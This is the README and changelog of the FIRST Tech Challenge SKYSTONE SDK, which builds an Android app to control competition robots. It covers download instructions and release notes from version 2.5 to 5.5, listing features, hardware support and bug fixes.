NOTICE This repository contains the public FTC SDK for the SKYSTONE (2019-2020) competition season. If you are looking for the current season's FTC SDK software, please visit the new and permanent home of the public FTC SDK: FtcRobotController repository Welcome! This GitHub repository contains the source code that is used to build an Android app to control a FIRST Tech Challenge competition robot. To use this SDK, download/clone the entire project to your local computer. Getting Started If you are new to robotics or new to the FIRST Tech Challenge, then you should consider reviewing the FTC Blocks Tutorial to get familiar with how to use the control system: FTC Blocks Online Tutorial Even if you are an advanced Java programmer, it is helpful to start with the FTC Blocks tutorial, and then migrate to the OnBot Java Tool or to Android Studio afterwards. Downloading the Project If you are an Android Studio programmer, there are several ways to download this repo. Note that if you use the Blocks or OnBot Java Tool to program your robot, then you do not need to download this repository. If you are a git user, you can clone the most current version of the repository: git clone https://github.com/FIRST-Tech-Challenge/SKYSTONE.git Or, if you prefer, you can use the "Download Zip" button available through the main repository page. Downloading the project as a .ZIP file will keep the size of the download manageable. You can also download the project folder (as a .zip or .tar.gz archive file) from the Downloads subsection of the Releases page for this repository. Once you have downloaded and uncompressed (if needed) your folder, you can use Android Studio to import the folder ("Import project (Eclipse ADT, Gradle, etc.)"). Getting Help User Documentation and Tutorials FIRST maintains online documentation with information and tutorials on how to use the FIRST Tech Challenge software and robot control system. You can access this documentation using the following link: SKYSTONE Online Documentation Note that the online documentation is an "evergreen" document that is constantly being updated and edited. It contains the most current information about the FIRST Tech Challenge software and control system. Javadoc Reference Material The Javadoc reference documentation for the FTC SDK is now available online. Click on the following link to view the FTC SDK Javadoc documentation as a live website: FTC Javadoc Documentation Documentation for the FTC SDK is also included with this repository. There is a subfolder called "doc" which contains several subfolders: The folder "apk" contains the .apk files for the FTC Driver Station and FTC Robot Controller apps. The folder "javadoc" contains the JavaDoc user documentation for the FTC SDK. Online User Forum For technical questions regarding the Control System or the FTC SDK, please visit the FTC Technology forum: FTC Technology Forum Release Information Version 5.5 (20200824-090813) Version 5.5 requires Android Studio 4.0 or later. New features Adds support for calling custom Java classes from Blocks OpModes (fixes SkyStone issue #161). Classes must be in the org.firstinspires.ftc.teamcode package. Methods must be public static and have no more than 21 parameters. Parameters declared as OpMode, LinearOpMode, Telemetry, and HardwareMap are supported and the argument is provided automatically, regardless of the order of the parameters. On the block, the sockets for those parameters are automatically filled in. Parameters declared as char or java.lang.Character will accept any block that returns text and will only use the first character in the text. Parameters declared as boolean or java.lang.Boolean will accept any block that returns boolean. Parameters declared as byte, java.lang.Byte, short, java.lang.Short, int, java.lang.Integer, long, or java.lang.Long, will accept any block that returns a number and will round that value to the nearest whole number. Parameters declared as float, java.lang.Float, double, java.lang.Double will accept any block that returns a number. Adds telemetry API method for setting display format Classic Monospace HTML (certain tags only) Adds blocks support for switching cameras. Adds Blocks support for TensorFlow Object Detection with a custom model. Adds support for uploading a custom TensorFlow Object Detection model in the Manage page, which is especially useful for Blocks and OnBotJava users. Shows new Control Hub blink codes when the WiFi band is switched using the Control Hub's button (only possible on Control Hub OS 1.1.2) Adds new warnings which can be disabled in the Advanced RC Settings Mismatched app versions warning Unnecessary 2.4 GHz WiFi usage warning REV Hub is running outdated firmware (older than version 1.8.2) Adds support for Sony PS4 gamepad, and reworks how gamepads work on the Driver Station Removes preference which sets gamepad type based on driver position. Replaced with menu which allows specifying type for gamepads with unknown VID and PID Attempts to auto-detect gamepad type based on USB VID and PID If gamepad VID and PID is not known, use type specified by user for that VID and PID If gamepad VID and PID is not known AND the user has not specified a type for that VID and PID, an educated guess is made about how to map the gamepad Driver Station will now attempt to automatically recover from a gamepad disconnecting, and re-assign it to the position it was assigned to when it dropped If only one gamepad is assigned and it drops: it can be recovered If two gamepads are assigned, and have different VID/PID signatures, and only one drops: it will be recovered If two gamepads are assigned, and have different VID/PID signatures, and BOTH drop: both will be recovered If two gamepads are assigned, and have the same VID/PID signatures, and only one drops: it will be recovered If two gamepads are assigned, and have the same VID/PID signatures, and BOTH drop: neither will be recovered, because of the ambiguity of the gamepads when they re-appear on the USB bus. There is currently one known edge case: if there are two gamepads with the same VID/PID signature plugged in, but only one is assigned, and they BOTH drop, it's a 50-50 chance of which one will be chosen for automatic recovery to the assigned position: it is determined by whichever one is re-enumerated first by the USB bus controller. Adds landscape user interface to Driver Station New feature: practice timer with audio cues New feature (Control Hub only): wireless network connection strength indicator (0-5 bars) New feature (Control Hub only): tapping on the ping/channel display will switch to an alternate display showing radio RX dBm and link speed (tap again to switch back) The layout will NOT autorotate. You can switch the layout from the Driver Station's settings menu. Breaking changes Removes support for Android versions 4.4 through 5.1 (KitKat and Lollipop). The minSdkVersion is now 23. Removes the deprecated LinearOpMode methods waitOneFullHardwareCycle() and waitForNextHardwareCycle() Enhancements Handles RS485 address of Control Hub automatically The Control Hub is automatically given a reserved address Existing configuration files will continue to work All addresses in the range of 1-10 are still available for Expansion Hubs The Control Hub light will now normally be solid green, without blinking to indicate the address The Control Hub will not be shown on the Expansion Hub Address Change settings page Improves REV Hub firmware updater The user can now choose between all available firmware update files Version 1.8.2 of the REV Hub firmware is bundled into the Robot Controller app. Text was added to clarify that Expansion Hubs can only be updated via USB. Firmware update speed was reduced to improve reliability Allows REV Hub firmware to be updated directly from the Manage webpage Improves log viewer on Robot Controller Horizontal scrolling support (no longer word wrapped) Supports pinch-to-zoom Uses a monospaced font Error messages are highlighted New color scheme Attempts to force-stop a runaway/stuck OpMode without restarting the entire app Not all types of runaway conditions are stoppable, but if the user code attempts to talk to hardware during the runaway, the system should be able to capture it. Makes various tweaks to the Self Inspect screen Renames "OS version" entry to "Android version" Renames "WiFi Direct Name" to "WiFi Name" Adds Control Hub OS version, when viewing the report of a Control Hub Hides the airplane mode entry, when viewing the report of a Control Hub Removes check for ZTE Speed Channel Changer Shows firmware version for all Expansion and Control Hubs Reworks network settings portion of Manage page All network settings are now applied with a single click The WiFi Direct channel of phone-based Robot Controllers can now be changed from the Manage page WiFi channels are filtered by band (2.4 vs 5 GHz) and whether they overlap with other channels The current WiFi channel is pre-selected on phone-based Robot Controllers, and Control Hubs running OS 1.1.2 or later. On Control Hubs running OS 1.1.2 or later, you can choose to have the system automatically select a channel on the 5 GHz band Improves OnBotJava New light and dark themes replace the old themes (chaos, github, chrome,...) the new default theme is light and will be used when you first update to this version OnBotJava now has a tabbed editor Read-only offline mode Improves function of "exit" menu item on Robot Controller and Driver Station Now guaranteed to be fully stopped and unloaded from memory Shows a warning message if a LinearOpMode exists prematurely due to failure to monitor for the start condition Improves error message shown when the Driver Station and Robot Controller are incompatible with each other Driver Station OpMode Control Panel now disabled while a Restart Robot is in progress Disables advanced settings related to WiFi direct when the Robot Controller is a Control Hub. Tint phone battery icons on Driver Station when low/critical. Uses names "Control Hub Portal" and "Control Hub" (when appropriate) in new configuration files Improve I2C read performance Very large improvement on Control Hub; up to ~2x faster with small (e.g. 6 byte) reads Not as apparent on Expansion Hubs connected to a phone Update/refresh build infrastructure Update to 'androidx' support library from 'com.android.support:appcompat', which is end-of-life Update targetSdkVersion and compileSdkVersion to 28 Update Android Studio's Android plugin to latest Fix reported build timestamp in 'About' screen Add sample illustrating manual webcam use: ConceptWebcam Bug fixes Fixes SkyStone issue #248 Fixes SkyStone issue #232 and modifies bulk caching semantics to allow for cache-preserving MANUAL/AUTO transitions. Improves performance when REV 2M distance sensor is unplugged Improves readability of Toast messages on certain devices Allows a Driver Station to connect to a Robot Controller after another has disconnected Improves generation of fake serial numbers for UVC cameras which do not provide a real serial number Previously some devices would assign such cameras a serial of 0:0 and fail to open and start streaming Fixes ftc_app issue #638. Fixes a slew of bugs with the Vuforia camera monitor including: Fixes bug where preview could be displayed with a wonky aspect ratio Fixes bug where preview could be cut off in landscape Fixes bug where preview got totally messed up when rotating phone Fixes bug where crosshair could drift off target when using webcams Fixes issue in UVC driver on some devices (ftc_app 681) if streaming was started/stopped multiple times in a row Issue manifested as kernel panic on devices which do not have this kernel patch. On affected devices which do have the patch, the issue was manifest as simply a failure to start streaming. The Tech Team believes that the root cause of the issue is a bug in the Linux kernel XHCI driver. A workaround was implemented in the SDK UVC driver. Fixes bug in UVC driver where often half the frames from the camera would be dropped (e.g. only 15FPS delivered during a streaming session configured for 30FPS). Fixes issue where TensorFlow Object Detection would show results whose confidence was lower than the minimum confidence parameter. Fixes a potential exploitation issue of CVE-2019-11358 in OnBotJava Fixes changing the address of an Expansion Hub with additional Expansion Hubs connected to it Preserves the Control Hub's network connection when "Restart Robot" is selected Fixes issue where device scans would fail while the Robot was restarting Fix RenderScript usage Use androidx.renderscript variant: increased compatibility Use RenderScript in Java mode, not native: simplifies build Fixes webcam-frame-to-bitmap conversion problem: alpha channel wasn't being initialized, only R, G, & B Fixes possible arithmetic overflow in Deadline Fixes deadlock in Vuforia webcam support which could cause 5-second delays when stopping OpMode Version 5.4 (20200108-101156) Fixes SkyStone issue #88 Adds an inspection item that notes when a robot controller (Control Hub) is using the factory default password. Fixes SkyStone issue #61 Fixes SkyStone issue #142 Fixes ftc_app issue #417 by adding more current and voltage monitoring capabilities for REV Hubs. Fixes a crash sometimes caused by OnBotJava activity Improves OnBotJava autosave functionality ftc_app #738 Fixes system responsiveness issue when an Expansion Hub is disconnected Fixes issue where IMU initialization could prevent Op Modes from stopping Fixes issue where AndroidTextToSpeech.speak() would fail if it was called too early Adds telemetry.speak() methods and blocks, which cause the Driver Station (if also updated) to speak text Adds and improves Expansion Hub-related warnings Improves Expansion Hub low battery warning Displays the warning immediately after the hub reports it Specifies whether the condition is current or occurred temporarily during an OpMode run Displays which hubs reported low battery Displays warning when hub loses and regains power during an OpMode run Fixes the hub's LED pattern after this condition Displays warning when Expansion Hub is not responding to commands Specifies whether the condition is current or occurred temporarily during an OpMode run Clarifies warning when Expansion Hub is not present at startup Specifies that this condition requires a Robot Restart before the hub can be used. The hub light will now accurately reflect this state Improves logging and reduces log spam during these conditions Syncs the Control Hub time and timezone to a connected web browser programming the robot, if a Driver Station is not available. Adds bulk read functionality for REV Hubs A bulk caching mode must be set at the Hub level with LynxModule#setBulkCachingMode(). This applies to all relevant SDK hardware classes that reference that Hub. The following following Hub bulk caching modes are available: BulkCachingMode.OFF (default): All hardware calls operate as usual. Bulk data can read through LynxModule#getBulkData() and processed manually. BulkCachingMode.AUTO: Applicable hardware calls are served from a bulk read cache that is cleared/refreshed automatically to ensure identical commands don't hit the same cache. The cache can also be cleared manually with LynxModule#clearBulkCache(), although this is not recommended. (advanced users) BulkCachingMode.MANUAL: Same as BulkCachingMode.AUTO except the cache is never cleared automatically. To avoid getting stale data, the cache must be manually cleared at the beginning of each loop body or as the user deems appropriate. Removes PIDF Annotation values added in Rev 5.3 (to AndyMark, goBILDA and TETRIX motor configurations). The new motor types will still be available but their Default control behavior will revert back to Rev 5.2 Adds new ConceptMotorBulkRead sample Opmode to demonstrate and compare Motor Bulk-Read modes for reducing I/O latencies. Version 5.3 (20191004-112306) Fixes external USB/UVC webcam support Makes various bugfixes and improvements to Blocks page, including but not limited to: Many visual tweaks Browser zoom and window resize behave better Resizing the Java preview pane works better and more consistently across browsers The Java preview pane consistently gets scrollbars when needed The Java preview pane is hidden by default on phones Internet Explorer 11 should work Large dropdown lists display properly on lower res screens Disabled buttons are now visually identifiable as disabled A warning is shown if a user selects a TFOD sample, but their device is not compatible Warning messages in a Blocks op mode are now visible by default. Adds goBILDA 5201 and 5202 motors to Robot Configurator Adds PIDF Annotation values to AndyMark, goBILDA and TETRIX motor configurations. This has the effect of causing the RUN_USING_ENCODERS and RUN_TO_POSITION modes to use PIDF vs PID closed loop control on these motors. This should provide more responsive, yet stable, speed control. PIDF adds Feedforward control to the basic PID control loop. Feedforward is useful when controlling a motor's speed because it "anticipates" how much the control voltage must change to achieve a new speed set-point, rather than requiring the integrated error to change sufficiently. The PIDF values were chosen to provide responsive, yet stable, speed control on a lightly loaded motor. The more heavily a motor is loaded (drag or friction), the more noticable the PIDF improvement will be. Fixes startup crash on Android 10 Fixes ftc_app issue #712 (thanks to FROGbots-4634) Fixes ftc_app issue #542 Allows "A" and lowercase letters when naming device through RC and DS apps. Version 5.2 (20190905-083277) Fixes extra-wide margins on settings activities, and placement of the new configuration button Adds Skystone Vuforia image target data. Includes sample Skystone Vuforia Navigation op modes (Java). Includes sample Skystone Vuforia Navigation op modes (Blocks). Adds TensorFlow inference model (.tflite) for Skystone game elements. Includes sample Skystone TensorFlow op modes (Java). Includes sample Skystone TensorFlow op modes (Blocks). Removes older (season-specific) sample op modes. Includes 64-bit support (to comply with Google Play requirements). Protects against Stuck OpModes when a Restart Robot is requested. (Thanks to FROGbots-4634) (ftc_app issue #709) Blocks related changes: Fixes bug with blocks generated code when hardware device name is a java or javascript reserved word. Shows generated java code for blocks, even when hardware items are missing from the active configuration. Displays warning icon when outdated Vuforia and TensorFlow blocks are used (SkyStone issue #27) Version 5.1 (20190820-222104) Defines default PIDF parameters for the following motors: REV Core Hex Motor REV 20:1 HD Hex Motor REV 40:1 HD Hex Motor Adds back button when running on a device without a system back button (such as a Control Hub) Allows a REV Control Hub to update the firmware on a REV Expansion Hub via USB Fixes SkyStone issue #9 Fixes ftc_app issue #715 Prevents extra DS User clicks by filtering based on current state. Prevents incorrect DS UI state changes when receiving new OpMode list from RC Adds support for REV Color Sensor V3 Adds a manual-refresh DS Camera Stream for remotely viewing RC camera frames. To show the stream on the DS, initialize but do not run a stream-enabled opmode, select the Camera Stream option in the DS menu, and tap the image to refresh. This feature is automatically enabled when using Vuforia or TFOD—no additional RC configuration is required for typical use cases. To hide the stream, select the same menu item again. Note that gamepads are disabled and the selected opmode cannot be started while the stream is open as a safety precaution. To use custom streams, consult the API docs for CameraStreamServer#setSource and CameraStreamSource. Adds many Star Wars sounds to RobotController resources. Added SKYSTONE Sounds Chooser Sample Program. Switches out startup, connect chimes, and error/warning sounds for Star Wars sounds Updates OnBot Java to use a WebSocket for communication with the robot The OnBot Java page no longer has to do a full refresh when a user switches from editing one file to another Known issues: Camera Stream The Vuforia camera stream inherits the issues present in the phone preview (namely ftc_app issue #574). This problem does not affect the TFOD camera stream even though it receives frames from Vuforia. The orientation of the stream frames may not always match the phone preview. For now, these frames may be rotated manually via a custom CameraStreamSource if desired. OnBotJava Browser back button may not always work correctly It's possible for a build to be queued, but not started. The OnBot Java build console will display a warning if this occurs. A user might not realize they are editing a different file if the user inadvertently switches from one file to another since this switch is now seamless. The name of the currently open file is displayed in the browser tab. Version 5.0 (built on 19.06.14) Support for the REV Robotics Control Hub. Adds a Java preview pane to the Blocks editor. Adds a new offline export feature to the Blocks editor. Display wifi channel in Network circle on Driver Station. Adds calibration for Logitech C270 Updates build tooling and target SDK. Compliance with Google's permissions infrastructure (Required after build tooling update). Keep Alives to mitigate the Motorola wifi scanning problem. Telemetry substitute no longer necessary. Improves Vuforia error reporting. Fixes ftctechnh/ftc_app issues 621, 713. Miscellaneous bug fixes and improvements. Version 4.3 (built on 18.10.31) Includes missing TensorFlow-related libraries and files. Version 4.2 (built on 18.10.30) Includes fix to avoid deadlock situation with WatchdogMonitor which could result in USB communication errors. Comm error appeared to require that user disconnect USB cable and restart the Robot Controller app to recover. robotControllerLog.txt would have error messages that included the words "E RobotCore: lynx xmit lock: #### abandoning lock:" Includes fix to correctly list the parent module address for a REV Robotics Expansion Hub in a configuration (.xml) file. Bug in versions 4.0 and 4.1 would incorrect list the address module for a parent REV Robotics device as "1". If the parent module had a higher address value than the daisy-chained module, then this bug would prevent the Robot Controller from communicating with the downstream Expansion Hub. Added requirement for ACCESS_COARSE_LOCATION to allow a Driver Station running Android Oreo to scan for Wi-Fi Direct devices. Added google() repo to build.gradle because aapt2 must be downloaded from the google() repository beginning with version 3.2 of the Android Gradle Plugin. Important Note: Android Studio users will need to be connected to the Internet the first time build the ftc_app project. Internet connectivity is required for the first build so the appropriate files can be downloaded from the Google repository. Users should not need to be connected to the Internet for subsequent builds. This should also fix buid issue where Android Studio would complain that it "Could not find com.android.tools.lint:lint-gradle:26.1.4" (or similar). Added support for REV Spark Mini motor controller as part of the configuration menu for a servo/PWM port on the REV Expansion Hub. Provide examples for playing audio files in an Op Mode. Block Development Tool Changes Includes a fix for a problem with the Velocity blocks that were reported in the FTC Technology forum (Blocks Programming subforum). Change the "Save completed successfully." message to a white color so it will contrast with a green background. Fixed the "Download image" feature so it will work if there are text blocks in the op mode. Introduce support for Google's TensorFlow Lite technology for object detetion for 2018-2019 game. TensorFlow lite can recognize Gold Mineral and Silver Mineral from 2018-2019 game. Example Java and Block op modes are included to show how to determine the relative position of the gold block (left, center, right). Version 4.1 (released on 18.09.24) Changes include: Fix to prevent crash when deprecated configuration annotations are used. Change to allow FTC Robot Controller APK to be auto-updated using FIRST Global Control Hub update scripts. Removed samples for non supported / non legal hardware. Improvements to Telemetry.addData block with "text" socket. Updated Blocks sample op mode list to include Rover Ruckus Vuforia example. Update SDK library version number. Version 4.0 (released on 18.09.12) Changes include: Initial support for UVC compatible cameras If UVC camera has a unique serial number, RC will detect and enumerate by serial number. If UVC camera lacks a unique serial number, RC will only support one camera of that type connected. Calibration settings for a few cameras are included (see TeamCode/src/main/res/xml/teamwebcamcalibrations.xml for details). User can upload calibration files from Program and Manage web interface. UVC cameras seem to draw a fair amount of electrical current from the USB bus. This does not appear to present any problems for the REV Robotics Control Hub. This does seem to create stability problems when using some cameras with an Android phone-based Robot Controller. FTC Tech Team is investigating options to mitigate this issue with the phone-based Robot Controllers. Updated sample Vuforia Navigation and VuMark Op Modes to demonstrate how to use an internal phone-based camera and an external UVC webcam. Support for improved motor control. REV Robotics Expansion Hub firmware 1.8 and greater will support a feed forward mechanism for closed loop motor control. FTC SDK has been modified to support PIDF coefficients (proportional, integral, derivative, and feed forward). FTC Blocks development tool modified to include PIDF programming blocks. Deprecated older PID-related methods and variables. REV's 1.8.x PIDF-related changes provide a more linear and accurate way to control a motor. Wireless Added 5GHz support for wireless channel changing for those devices that support it. Tested with Moto G5 and E4 phones. Also tested with other (currently non-approved) phones such as Samsung Galaxy S8. Improved Expansion Hub firmware update support in Robot Controller app Changes to make the system more robust during the firmware update process (when performed through Robot Controller app). User no longer has to disconnect a downstream daisy-chained Expansion Hub when updating an Expansion Hub's firmware. If user is updating an Expansion Hub's firmware through a USB connection, he/she does not have to disconnect RS485 connection to other Expansion Hubs. The user still must use a USB connection to update an Expansion Hub's firmware. The user cannot update the Expansion Hub firmware for a downstream device that is daisy chained through an RS485 connection. If an Expansion Hub accidentally gets "bricked" the Robot Controller app is now more likely to recognize the Hub when it scans the USB bus. Robot Controller app should be able to detect an Expansion Hub, even if it accidentally was bricked in a previous update attempt. Robot Controller app should be able to install the firmware onto the Hub, even if if accidentally was bricked in a previous update attempt. Resiliency FTC software can detect and enable an FTDI reset feature that is available with REV Robotics v1.8 Expansion Hub firmware and greater. When enabled, the Expansion Hub can detect if it hasn't communicated with the Robot Controller over the FTDI (USB) connection. If the Hub hasn't heard from the Robot Controller in a while, it will reset the FTDI connection. This action helps system recover from some ESD-induced disruptions. Various fixes to improve reliability of FTC software. Blocks Fixed errors with string and list indices in blocks export to java. Support for USB connected UVC webcams. Refactored optimized Blocks Vuforia code to support Rover Ruckus image targets. Added programming blocks to support PIDF (proportional, integral, derivative and feed forward) motor control. Added formatting options (under Telemetry and Miscellaneous categories) so user can set how many decimal places to display a numerical value. Support to play audio files (which are uploaded through Blocks web interface) on Driver Station in addition to the Robot Controller. Fixed bug with Download Image of Blocks feature. Support for REV Robotics Blinkin LED Controller. Support for REV Robotics 2m Distance Sensor. Added support for a REV Touch Sensor (no longer have to configure as a generic digital device). Added blocks for DcMotorEx methods. These are enhanced methods that you can use when supported by the motor controller hardware. The REV Robotics Expansion Hub supports these enhanced methods. Enhanced methods include methods to get/set motor velocity (in encoder pulses per second), get/set PIDF coefficients, etc.. Modest Improvements in Logging Decrease frequency of battery checker voltage statements. Removed non-FTC related log statements (wherever possible). Introduced a "Match Logging" feature. Under "Settings" a user can enable/disable this feature (it's disabled by default). If enabled, user provides a "Match Number" through the Driver Station user interface (top of the screen). The Match Number is used to create a log file specifically with log statements from that particular Op Mode run. Match log files are stored in /sdcard/FIRST/matlogs on the Robot Controller. Once an op mode run is complete, the Match Number is cleared. This is a convenient way to create a separate match log with statements only related to a specific op mode run. New Devices Support for REV Robotics Blinkin LED Controller. Support for REV Robotics 2m Distance Sensor. Added configuration option for REV 20:1 HD Hex Motor. Added support for a REV Touch Sensor (no longer have to configure as a generic digital device). Miscellaneous Fixed some errors in the definitions for acceleration and velocity in our javadoc documentation. Added ability to play audio files on Driver Station When user is configuring an Expansion Hub, the LED on the Expansion Hub will change blink pattern (purple-cyan) to indicate which Hub is currently being configured. Renamed I2cSensorType to I2cDeviceType. Added an external sample Op Mode that demonstrates localization using 2018-2019 (Rover Ruckus presented by QualComm) Vuforia targets. Added an external sample Op Mode that demonstrates how to use the REV Robotics 2m Laser Distance Sensor. Added an external sample Op Mode that demonstrates how to use the REV Robotics Blinkin LED Controller. Re-categorized external Java sample Op Modes to "TeleOp" instead of "Autonomous". Known issues: Initial support for UVC compatible cameras UVC cameras seem to draw significant amount of current from the USB bus. This does not appear to present any problems for the REV Robotics Control Hub. This does seem to create stability problems when using some cameras with an Android phone-based Robot Controller. FTC Tech Team is investigating options to mitigate this issue with the phone-based Robot Controllers. There might be a possible deadlock which causes the RC to become unresponsive when using a UVC webcam with a Nougat Android Robot Controller. Wireless When user selects a wireless channel, this channel does not necessarily persist if the phone is power cycled. Tech Team is hoping to eventually address this issue in a future release. Issue has been present since apps were introduced (i.e., it is not new with the v4.0 release). Wireless channel is not currently displayed for WiFi Direct connections. Miscellaneous The blink indication feature that shows which Expansion Hub is currently being configured does not work for a newly created configuration file. User has to first save a newly created configuration file and then close and re-edit the file in order for blink indicator to work. Version 3.6 (built on 17.12.18) Changes include: Blocks Changes Uses updated Google Blockly software to allow users to edit their op modes on Apple iOS devices (including iPad and iPhone). Improvement in Blocks tool to handle corrupt op mode files. Autonomous op modes should no longer get switched back to tele-op after re-opening them to be edited. The system can now detect type mismatches during runtime and alert the user with a message on the Driver Station. Updated javadoc documentation for setPower() method to reflect correct range of values (-1 to +1). Modified VuforiaLocalizerImpl to allow for user rendering of frames Added a user-overrideable onRenderFrame() method which gets called by the class's renderFrame() method. Version 3.5 (built on 17.10.30) Changes with version 3.5 include: Introduced a fix to prevent random op mode stops, which can occur after the Robot Controller app has been paused and then resumed (for example, when a user temporarily turns off the display of the Robot Controller phone, and then turns the screen back on). Introduced a fix to prevent random op mode stops, which were previously caused by random peer disconnect events on the Driver Station. Fixes issue where log files would be closed on pause of the RC or DS, but not re-opened upon resume. Fixes issue with battery handler (voltage) start/stop race. Fixes issue where Android Studio generated op modes would disappear from available list in certain situations. Fixes problem where OnBot Java would not build on REV Robotics Control Hub. Fixes problem where OnBot Java would not build if the date and time on the Robot Controller device was "rewound" (set to an earlier date/time). Improved error message on OnBot Java that occurs when renaming a file fails. Removed unneeded resources from android.jar binaries used by OnBot Java to reduce final size of Robot Controller app. Added MR_ANALOG_TOUCH_SENSOR block to Blocks Programming Tool. Version 3.4 (built on 17.09.06) Changes with version 3.4 include: Added telemetry.update() statement for BlankLinearOpMode template. Renamed sample Block op modes to be more consistent with Java samples. Added some additional sample Block op modes. Reworded OnBot Java readme slightly. Version 3.3 (built on 17.09.04) This version of the software includes improves for the FTC Blocks Programming Tool and the OnBot Java Programming Tool. Changes with verion 3.3 include: Android Studio ftc_app project has been updated to use Gradle Plugin 2.3.3. Android Studio ftc_app project is already using gradle 3.5 distribution. Robot Controller log has been renamed to /sdcard/RobotControllerLog.txt (note that this change was actually introduced w/ v3.2). Improvements in I2C reliability. Optimized I2C read for REV Expansion Hub, with v1.7 firmware or greater. Updated all external/samples (available through OnBot and in Android project folder). Vuforia Added support for VuMarks that will be used for the 2017-2018 season game. Blocks Update to latest Google Blockly release. Sample op modes can be selected as a template when creating new op mode. Fixed bug where the blocks would disappear temporarily when mouse button is held down. Added blocks for Range.clip and Range.scale. User can now disable/enable Block op modes. Fix to prevent occasional Blocks deadlock. OnBot Java Significant improvements with autocomplete function for OnBot Java editor. Sample op modes can be selected as a template when creating new op mode. Fixes and changes to complete hardware setup feature. Updated (and more useful) onBot welcome message. Known issues: Android Studio After updating to the new v3.3 Android Studio project folder, if you get error messages indicating "InvalidVirtualFileAccessException" then you might need to do a File->Invalidate Caches / Restart to clear the error. OnBot Java Sometimes when you push the build button to build all op modes, the RC returns an error message that the build failed. If you press the build button a second time, the build typically suceeds. Version 3.2 (built on 17.08.02) This version of the software introduces the "OnBot Java" Development Tool. Similar to the FTC Blocks Development Tool, the FTC OnBot Java Development Tool allows a user to create, edit and build op modes dynamically using only a Javascript-enabled web browser. The OnBot Java Development Tool is an integrated development environment (IDE) that is served up by the Robot Controller. Op modes are created and edited using a Javascript-enabled browser (Google Chromse is recommended). Op modes are saved on the Robot Controller Android device directly. The OnBot Java Development Tool provides a Java programming environment that does NOT need Android Studio. Changes with version 3.2 include: Enhanced web-based development tools Introduction of OnBot Java Development Tool. Web-based programming and management features are "always on" (user no longer needs to put Robot Controller into programming mode). Web-based management interface (where user can change Robot Controller name and also easily download Robot Controller log file). OnBot Java, Blocks and Management features available from web based interface. Blocks Programming Development Tool: Changed "LynxI2cColorRangeSensor" block to "REV Color/range sensor" block. Fixed tooltip for ColorSensor.isLightOn block. Added blocks for ColorSensor.getNormalizedColors and LynxI2cColorRangeSensor.getNormalizedColors. Added example op modes for digital touch sensor and REV Robotics Color Distance sensor. User selectable color themes. Includes many minor enhancements and fixes (too numerous to list). Known issues: Auto complete function is incomplete and does not support the following (for now): Access via this keyword Access via super keyword Members of the super cloass, not overridden by the class Any methods provided in the current class Inner classes Can't handle casted objects Any objects coming from an parenthetically enclosed expression Version 3.10 (built on 17.05.09) This version of the software provides support for the REV Robotics Expansion Hub. This version also includes improvements in the USB communication layer in an effort to enhance system resiliency. If you were using a 2.x version of the software previously, updating to version 3.1 requires that you also update your Driver Station software in addition to updating the Robot Controller software. Also note that in version 3.10 software, the setMaxSpeed and getMaxSpeed methods are no longer available (not deprecated, they have been removed from the SDK). Also note that the the new 3.x software incorporates motor profiles that a user can select as he/she configures the robot. Changes include: Blocks changes Added VuforiaTrackableDefaultListener.getPose and Vuforia.trackPose blocks. Added optimized blocks support for Vuforia extended tracking. Added atan2 block to the math category. Added useCompetitionFieldTargetLocations parameter to Vuforia.initialize block. If set to false, the target locations are placed at (0,0,0) with target orientation as specified in https://github.com/gearsincorg/FTCVuforiaDemo/blob/master/Robot_Navigation.java tutorial op mode. Incorporates additional improvements to USB comm layer to improve system resiliency (to recover from a greater number of communication disruptions). Additional Notes Regarding Version 3.00 (built on 17.04.13) In addition to the release changes listed below (see section labeled "Version 3.00 (built on 17.04.013)"), version 3.00 has the following important changes: Version 3.00 software uses a new version of the FTC Robocol (robot protocol). If you upgrade to v3.0 on the Robot Controller and/or Android Studio side, you must also upgrade the Driver Station software to match the new Robocol. Version 3.00 software removes the setMaxSpeed and getMaxSpeed methods from the DcMotor class. If you have an op mode that formerly used these methods, you will need to remove the references/calls to these methods. Instead, v3.0 provides the max speed information through the use of motor profiles that are selected by the user during robot configuration. Version 3.00 software currently does not have a mechanism to disable extra i2c sensors. We hope to re-introduce this function with a release in the near future. Version 3.00 (built on 17.04.13) *** Use this version of the software at YOUR OWN RISK!!! *** This software is being released as an "alpha" version. Use this version at your own risk! This pre-release software contains SIGNIFICANT changes, including changes to the Wi-Fi Direct pairing mechanism, rewrites of the I2C sensor classes, changes to the USB/FTDI layer, and the introduction of support for the REV Robotics Expansion Hub and the REV Robotics color-range-light sensor. These changes were implemented to improve the reliability and resiliency of the FTC control system. Please note, however, that version 3.00 is considered "alpha" code. This code is being released so that the FIRST community will have an opportunity to test the new REV Expansion Hub electronics module when it becomes available in May. The developers do not recommend using this code for critical applications (i.e., competition use). *** Use this version of the software at YOUR OWN RISK!!! *** Changes include: Major rework of sensor-related infrastructure. Includes rewriting sensor classes to implement synchronous I2C communication. Fix to reset Autonomous timer back to 30 seconds. Implementation of specific motor profiles for approved 12V motors (includes Tetrix, AndyMark, Matrix and REV models). Modest improvements to enhance Wi-Fi P2P pairing. Fixes telemetry log addition race. Publishes all the sources (not just a select few). Includes Block programming improvements Addition of optimized Vuforia blocks. Auto scrollbar to projects and sounds pages. Fixed blocks paste bug. Blocks execute after while-opModeIsActive loop (to allow for cleanup before exiting op mode). Added gyro integratedZValue block. Fixes bug with projects page for Firefox browser. Added IsSpeaking block to AndroidTextToSpeech. Implements support for the REV Robotics Expansion Hub Implements support for integral REV IMU (physically installed on I2C bus 0, uses same Bosch BNO055 9 axis absolute orientation sensor as Adafruit 9DOF abs orientation sensor). - Implements support for REV color/range/light sensor. Provides support to update Expansion Hub firmware through FTC SDK. Detects REV firmware version and records in log file. Includes support for REV Control Hub (note that the REV Control Hub is not yet approved for FTC use). Implements FTC Blocks programming support for REV Expansion Hub and sensor hardware. Detects and alerts when I2C device disconnect. Version 2.62 (built on 17.01.07) Added null pointer check before calling modeToByte() in finishModeSwitchIfNecessary method for ModernRoboticsUsbDcMotorController class. Changes to enhance Modern Robotics USB protocol robustness. Version 2.61 (released on 16.12.19) Blocks Programming mode changes: Fix to correct issue when an exception was thrown because an OpticalDistanceSensor object appears twice in the hardware map (the second time as a LightSensor). Version 2.6 (released on 16.12.16) Fixes for Gyro class: Improve (decrease) sensor refresh latency. fix isCalibrating issues. Blocks Programming mode changes: Blocks now ignores a device in the configuration xml if the name is empty. Other devices work in configuration work fine. Version 2.5 (internal release on released on 16.12.13) Blocks Programming mode changes: Added blocks support for AdafruitBNO055IMU. Added Download Op Mode button to FtcBocks.html. Added support for copying blocks in one OpMode and pasting them in an other OpMode. The clipboard content is stored on the phone, so the programming mode server must be running. 